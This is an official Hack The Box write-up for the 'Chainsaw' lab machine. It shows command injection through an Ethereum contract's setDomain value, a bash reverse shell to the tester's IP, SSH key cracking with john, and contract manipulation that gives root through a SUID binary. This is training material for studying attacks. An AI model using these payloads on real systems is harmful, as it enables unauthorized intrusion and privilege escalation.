Hack The Box

PEN-TESTING LABS

Chainsaw

8th October 2019 / Document No D19.100.43

Prepared By: MinatoTW

Machine Author: artikrh & absolutezero

Difficulty: Hard

Classification: Official

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

SYNOPSIS

Chainsaw is a Hard Linux machine with various components in place. The server is running an Ethereum node, which is used to store and retrieve data. This can be modified by an attacker to set malicious data on the latest block and get code execution. The box contains an installation of IPFS (Interplanetary File System), and further enumeration reveals that it contains an encrypted SSH key, which can be cracked to gain lateral movement. This user has execute permissions on a SUID file, which interacts with another node running on localhost. This is exploited in a similar way as earlier to get a root shell.

Skills Required

- Python scripting
- Enumeration

Skills Learned

- Solidity and Ethereum contracts
- Using Web3.py API
- IPFS
- Slack space and Bmap

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Enumeration

Nmap

```
ports=$(nmap -p- --min-rate=1000  -T4 10.10.10.142 | grep ^[0-9] | cut -d '/' -f 1
| tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.142
```

```
ports=$(nmap -p- --min-rate=1000  -T4 10.10.10.142 |
grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.142

Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-08 11:04 PDT
Nmap scan report for 10.10.10.142
Host is up (0.18s latency).

PORT     STATE SERVICE VERSION

21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1001     1001        23828 Dec 05  2018 WeaponizedPing.json
| -rw-r--r--    1 1001     1001          243 Dec 12  2018 WeaponizedPing.sol
|_-rw-r--r--    1 1001     1001           44 Oct 08 08:47 address.txt
|_End of status

22/tcp   open  ssh     OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA)
|   256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA)
|_  256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519)
9810/tcp open  unknown
```

Anonymous FTP is available and contains three files. There's SSH open on port 22 and an unknown service running on port 9810.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

FTP

The .sol file, a JSON file and a file named address.txt are downloaded and examined. The contents of WeaponziedPing.sol are:

```
pragma solidity ^0.4.24;

contract WeaponizedPing
{
  string store = "google.com";

  function getDomain() public view returns (string)
  {
       return store;
  }

  function setDomain(string _value) public
  {
       store = _value;
  }
}
```

Searching about solidity online, we come across this post. It seems that solidity is a high level language used to create smart contracts for the Ethereum blockchain. A contract is a piece of code along with its data and functions which resides on a blockchain. The setDomain() function stores the value of the variable store (i.e google.com) onto the blockchain. Then, the function getDomain() can be used to retrieve the data. Looking at the JSON file, we see that it's an ABI (Application Binary Interface) for the contract "WeaponizedPing". An ABI is a way to encode data in solidity to work with smart contracts. Ethereum contracts are deployed in the form of byte code on the chain. An ABI helps to specify which functions to call and what data to access. This helps in portability as well as ease of access.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Ethereum Node

Looking at the JSON file, we see how functions are stored in the form of objects.

```
<SNIP>
      {
       "constant": true,
       "inputs": [],
       "name": "getDomain",
       "outputs": [
       {
       "name": "",
       "type": "string"
       }
       ],
       "payable": false,
       "stateMutability": "view",
       "type": "function"
       },
       {
       "constant": false,
       "inputs": [
       {
       "name": "_value",
       "type": "string"
       }
       ],
       "name": "setDomain",
       "outputs": [],
       "payable": false,
       "stateMutability": "nonpayable",
       "type": "function"
       }
<SNIP>
```

The “type” is function, the getDomain function has a return type of “string” and the setDomain function has an input parameter. The solidity documents here shows the other types which can be defined in an ABI.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

The web3.py python library can be used to interact with the Ethereum node. Use pip to install it.

```
pip install web3
```

From the name of the contract, we can assume that the server uses the value of the domain i.e "google.com" and attempts to ping it. If we're able to rewrite the value and inject commands, it would be placed on the latest block on the blockchain and used by the server.

Let's try to create a connection, and find the pre-existing account using this library. We need to use the HTTProvider in order to talk to the server.

```
#!/usr/bin/python3

from web3 import Web3, HTTPProvider

w3 = Web3(HTTPProvider('http://10.10.10.142:9810'))
account = w3.eth.accounts[0]
print(account)
```

The code above returns the default first account present on the node. We can use this as the sender for our transaction. We already have the address of the account to make the transaction to. In order to use the functions we need to import abi. This can be achieved using the json module.

```
#!/usr/bin/python3

from web3 import Web3, HTTPProvider
import json

w3 = Web3(HTTPProvider('http://10.10.10.142:9810'))

w3.eth.defaultAccount = w3.eth.accounts[0]
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
toAddress = open("address.txt", "r").read().rstrip()
abi_json = json.loads(open("WeaponizedPing.json", "r").read())
abi = abi_json['abi']
contract = w3.eth.contract(abi = abi, address = toAddress)

print("Current Domain: {}".format(contract.functions.getDomain().call()))
```

The script reads the recipient address from address.txt, then loads the abi from the JSON file provided by the server. A contract object is created using the abi and address. This loads all functions and data and is ready to make transactions. Then, we check the current domain set on the latest block by calling the getDomain() function. Upto this point we aren't making any transactions.

```
python3 chainsaw.py

Current Domain: google.com
```

It returns the current domain as google.com which means that our script was successful in interacting with the node. Now, we need to use the setDomain() call to inject our malicious value and create a transaction to place it on the block. Let's try to ping ourselves.

```
#!/usr/bin/python3

from web3 import Web3, HTTPProvider
import json

w3 = Web3(HTTPProvider('http://10.10.10.142:9810'))

w3.eth.defaultAccount = w3.eth.accounts[0]

toAddress = open("address.txt", "r").read().rstrip()

abi_json = json.loads(open("WeaponizedPing.json", "r").read())
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
abi = abi_json['abi']
contract = w3.eth.contract(abi = abi, address = toAddress)

print("Current Domain: {}".format(contract.functions.getDomain().call()))

malicious_domain = "google.com ; ping -c 2 10.10.14.5"

contract.functions.setDomain(malicious_domain).transact()

print("New Domain: {}".format(contract.functions.getDomain().call()))
```

In addition to the previous script, this script injects a ping command to the new domain and uses the transact() method to set it. It then calls the getDomain() method to check if it was placed on the latest block. Run the script and start a tcpdump listener to monitor ICMP traffic.

```
python3 chainsaw.py

Current Domain: google.com
New Domain: google.com ; ping -c 2 10.10.14.5
```

```
tcpdump -i tun0 icmp

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
12:49:48.402419 IP 10.10.10.142 > 10.10.14.5: ICMP echo request, id 1736, seq 1, length 64
12:49:48.402466 IP 10.10.14.5 > 10.10.10.142: ICMP echo reply, id 1736, seq 1, length 64
12:49:49.413720 IP 10.10.10.142 > 10.10.14.5: ICMP echo request, id 1736, seq 2, length 64
12:49:49.413755 IP 10.10.14.5 > 10.10.10.142: ICMP echo reply, id 1736, seq 2, length 64
```

From the script output it's seen that the domain was successfully set to the malicious command and we received ICMP traffic on our listener. To get a shell, we can replace the ping command with a bash reverse shell.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Foothold

Edit the malicious_domain variable in the script.

```
malicious_domain = "google.com ; bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444
0>&1'"
```

Start a listener on port 4444 and run the script again.

```
nc -lvp 4444

Listening on [] (family 2, port)
Connection from 10.10.10.142 36124 received!
bash: cannot set terminal process group (1376): Inappropriate ioctl for device
bash: no job control in this shell
administrator@chainsaw:/opt/WeaponizedPing$ id
uid=1001(administrator) gid=1001(administrator) groups=1001(administrator)
```

A shell as the user administrator should be received. Looking at the passwd file we see that only bobby has a bash shell assigned to him.

```
administrator@chainsaw:/home/administrator$ cat /etc/passwd

<SNIP>
bobby:x:1000:1000:Bobby Axelrod:/home/bobby:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
ftp:x:110:114:ftp daemon,,,:/opt/WeaponizedPing/shared:/usr/sbin/nologin
administrator:x:1001:1001:Chuck Rhoades,,,,IT Administrator:/home/administrator:/bin/bash
arti:x:997:996::/home/arti:/bin/false
lara:x:996:995::/home/lara:/bin/false
bryan:x:995:994::/home/bryan:/bin/false
wendy:x:994:993::/home/wendy:/bin/false
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Lateral Movement

Apart from that, we see a .ipfs folder in the user's home folder. Searching about IPFS takes us to this page. It seems that IPFS is a peer to peer sharing protocol based on blockchain, where each file is given a cryptographic hash. But since the HTTP server isn't configured on the box, we'll have to query the local files. Looking at the documentation, we see the "ipfs refs local" command lists local references. After running it on the box, multiple hashes are returned.

```
administrator@chainsaw:/home/administrator$ ipfs refs local

QmYCvbfNbCwFR45HiNP45rwJgvatpiW38D961L5qAhUM5Y
QmPctBY8tq2TpPufHuQUbe2sCxoy2wD5YRB6kdce35ZwAx
QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB
QmdL9t1YP99v4a2wyXFYAQJtbD9zKnPrugFLQWXBXb82sn
<SNIP>
```

To view the file names, the command "ipfs ls" can be used.

```
ipfs refs local | while read -r file; do ipfs ls $file 2>/dev/null; done

QmXWS8VFBxJPsxhF8KEqN1VpZf52DPhLswcXpxEDzF5DWC 391 arti.key.pub
QmPjsarLFBcY8seiv3rpUZ2aTyauPF3Xu3kQm56iD6mdcq 391 bobby.key.pub
QmUHHbX4N8tUNyXFK9jNfgpFFddGgpn72CF1JyNnZNeVVn 391 bryan.key.pub
QmUH2FceqvTSAvn6oqm8M49TNDqowktkEx4LgpBx746HRS 391 lara.key.pub
QmcMCDdN1qDaa2vaN654nA4Jzr6Zv9yGSBjKPk26iFJJ4M 391 wendy.key.pub
QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB 10063 artichain600-protonmail-2018-12-13T20_50_58+01_00.eml
QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF 4640  bobbyaxelrod600-protonmail-2018-12-13-T20_28_54+01_00.eml
<SNIP>
```

The loop above, reads each hash from the output and runs ipfs ls on it. Multiple files are listed and we see some public keys and eml (email) files. As we know that bobby is a valid user, let's try reading his mail. The "ipfs cat" command can be used along with the hash to read the file.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

```
administrator@chainsaw:/home/administrator$ ipfs cat QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF

X-Pm-Origin: internal
X-Pm-Content-Encryption: end-to-end
Subject: Ubuntu Server Private RSA Key
From: IT Department <chainsaw_admin@protonmail.ch>
Date: Thu, 13 Dec 2018 19:28:54 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=--------------------d296272d7cb599bff2a1ddf6d6374d93
To: bobbyaxelrod600@protonmail.ch <bobbyaxelrod600@protonmail.ch>
X-Attached: bobby.key.enc
Received: from mail.protonmail.ch by mail.protonmail.ch; Thu, 13 Dec 2018 14:28:58 -0500
<SNIP>
```

We see an email with the subject “Ubuntu Server Private RSA key”, with a base64 encoded attachment named bobby.key.enc. Copy the encoded text locally and decode it.

```
base64 -d bobby.key.enc > bobby.key
```

After decoding we get an encrypted RSA key as expected. This can be cracked using john and rockyou.txt. Use ssh2john to create a hash from the key.

```
ssh2john bobby.key > hash
john hash -w=/usr/share/wordlists/rockyou.txt --fork=4

<SNIP>
Will run 2 OpenMP threads per process (8 total across 4 processes)
Node numbers 1-4 of 4 (fork)
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
jackychain       (/tmp/bobby.key)
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

The password for the key is found to be “jackychain”. We can now use this to SSH into the server as bobby.

```
ssh -i bobby.key bobby@10.10.10.142

Enter passphrase for key 'bobby.key': <jackychain>
bobby@chainsaw:~$ id
uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip)
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Privilege Escalation

Looking around in bobby's home folder we see a projects folder, with a subfolder called ChainsawClub. The folder contains a SUID file named ChainsawClub along with a .sol file and a JSON file with the same name.

```
bobby@chainsaw:~/projects/ChainsawClub$ ls -la
total 156
drwxrwxr-x 2 bobby bobby   4096 Jan 23  2019 .
drwxrwxr-x 3 bobby bobby   4096 Dec 20  2018 ..
-rwsr-xr-x 1 root  root   16544 Jan 12  2019 ChainsawClub
-rw-r--r-- 1 root  root  126388 Jan 23  2019 ChainsawClub.json
-rw-r--r-- 1 root  root    1164 Jan 23  2019 ChainsawClub.sol
```

Looking at the .sol file, we see another contract with various functions.

```
pragma solidity ^0.4.22;

contract ChainsawClub {

  string username = 'nobody';
  string password = '7b455ca1ffcb9f3828cfdde4a396139e';
  bool approve = false;
  uint totalSupply = 1000;
  uint userBalance = 0;
<SNIP>
```

The contract contains username, an MD5 hash of the password which cannot be cracked.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Let's run the binary to see what it does.

```
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub

      _           _
     | |         (_)
  ___| |__   __ _ _ _ __  ___  __ ___      __
 / __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V  V /
 \___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/
                                        club

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username: nobody
Password:
[*] Wrong credentials!
```

The binary asks us for credentials and then exits when we supply wrong values. The binary also creates a file named address.txt, which we assume is the recipient address.

```
bobby@chainsaw:~/projects/ChainsawClub$ ls
address.txt  ChainsawClub  ChainsawClub.json  ChainsawClub.sol
bobby@chainsaw:~/projects/ChainsawClub$ cat address.txt
0xeC60981da1DAF9C0b84B5dd6824eB106Cf8585B8
```

Looking at the contract, we see the functions setUsername() and setPassword(). We could set these to known values controlled by us, and then enter them as credentials. But we don't know the port where it's interface is running on. Looking at the ports listening locally, we see port

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

63991 listening on localhost.

```
bobby@chainsaw:~/projects/ChainsawClub$ netstat -antp | grep LISTEN
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:9810            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:63991         0.0.0.0:*               LISTEN      -
tcp6       0      0 :::21                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
```

Let's forward this port and try interacting with it.

```
ssh -L 63991:127.0.0.1:63991 -i bobby.key bobby@10.10.10.142 -N
```

The command above creates an SSH tunnel from port 63991 on our localhost to port 63991 on chainsaw. Let's transfer the JSON file from the server now.

```
scp -i bobby.key bobby@10.10.10.142:~/projects/ChainsawClub/ChainsawClub.json .
```

We can now use this to start building our exploit script.

As the hash in the script couldn't be cracked, we could set our own username and password. Looking at the solidity contract we see the functions setPassword() and setUsername(). Let's use

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

them to change the credentials.

```
#!/usr/bin/python3

from web3 import Web3, HTTPProvider
import json
import hashlib

w3 = Web3(HTTPProvider('http://127.0.0.1:63991'))

w3.eth.defaultAccount = w3.eth.accounts[0]

toAddress = "0x9B37e5265b26CC0543bE78AB7C2DAd5538C9a583"

abi_json = json.loads(open("ChainsawClub.json", "r").read())
abi = abi_json['abi']
contract = w3.eth.contract(abi = abi, address = toAddress)

contract.functions.setUsername('administrator').transact()
Username = contract.functions.getUsername().call()

print("Username set to: {}".format(Username))

md5_hash = hashlib.md5()
plaintext = "admin"
md5_hash.update(plaintext.encode('utf-8'))
passw = md5_hash.hexdigest()

contract.functions.setPassword(passw).transact()
Password = contract.functions.getPassword().call()

print("Password set to: {} and hash is {}".format(plaintext, Password))
```

The script connects to the forwarded port on our localhost. The toAddress variable contains the address from the address.txt file created on the box. Then it creates a contract using the abi. The setUsername function is then called to set the username to “administrator”. Then the md5 function is used to create an MD5 hash for the string “admin” after which the setPassword function is called.

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Let's try running the script and then going back to the SUID file.

```
python3 exp.py

Username set to: administrator
Password set to: admin and hash is 21232f297a57a5a743894a0e4a801fc3
```

We can try using these credentials to login.

```
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub

<SNIP>

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username: administrator
Password: <admin>
[*] User is not approved!
```

We receive a "User is not approved" message. Going back to the contract we see another function named setApprove().

```
function getApprove() public view returns (bool) {
    return approve;
}
function setApprove(bool _value) public {
    approve = _value;
}
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

Maybe the program checks if this value is set before logging us in. Let's set this value using the function. Add the following lines to the script and run again.

```
contract.functions.setApprove(True).transact()
status = contract.functions.getApprove().call()
print("Approval status is: {}".format(status))
```

The function takes in a boolean value which is why we pass is the value "True".

```
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub

<SNIP>

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username: administrator
Password: <admin>
[*] Not enough funds!
```

This time we get a different message which means approval was successful. The message says "Not enough funds". In the contract, we can see that the totalSupply is set to 1000. There's another function named transfer():

```
function getBalance() public view returns (uint) {
    return userBalance;
}
function transfer(uint _value) public {
    if (_value > 0 && _value <= totalSupply) {
          totalSupply -= _value;
          userBalance += _value;
    }
}
```

Let's transfer the entire supply to ourselves using the transfer() function. Add the following lines

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

to the script.

```
contract.functions.transfer(1000).transact()
balance = contract.functions.getBalance().call()
print("New balance is: {}".format(balance))
```

The function checks if the input amount is greater than the totalSupply, which ensures that w can't exceed the value of 1000. Run the script and try logging in again.

```
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub

<SNIP>

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username: administrator
Password: <admin>

         ************************
         * Welcome to the club! *
         ************************

 Rule #1: Do not get excited too fast.

root@chainsaw:/home/bobby/projects/ChainsawClub# id
uid=0(root) gid=0(root) groups=0(root)
```

This time, the server lets us in and we get a root shell. Looking at root.txt we that it isn't an actual hash.

```
root@chainsaw:~# cat root.txt
Mine deeper to get rewarded with root coin (RTC)...
```

Hack The Box Ltd
38 Walton Road
Folkestone, Kent
CT19 5QS, United Kingdom
Company No. 10826193

After a bit of research we'll find that the bmap command on Linux can be used to hide data in the slack space of memory blocks. Slack space is the empty space in a block of memory which isn't completely filled by data. This space can be used to hide data as it can't be normal accessed.

Checking on the box we see that command bmap is available. The **--mode slack** option can be used to extract the flag from it.

```
root@chainsaw:~# bmap --mode slack root.txt

getting from block 2655304
file size was: 52
slack size: 4044
block size: 4096
68c874b7deca1b9d<SNIP>
```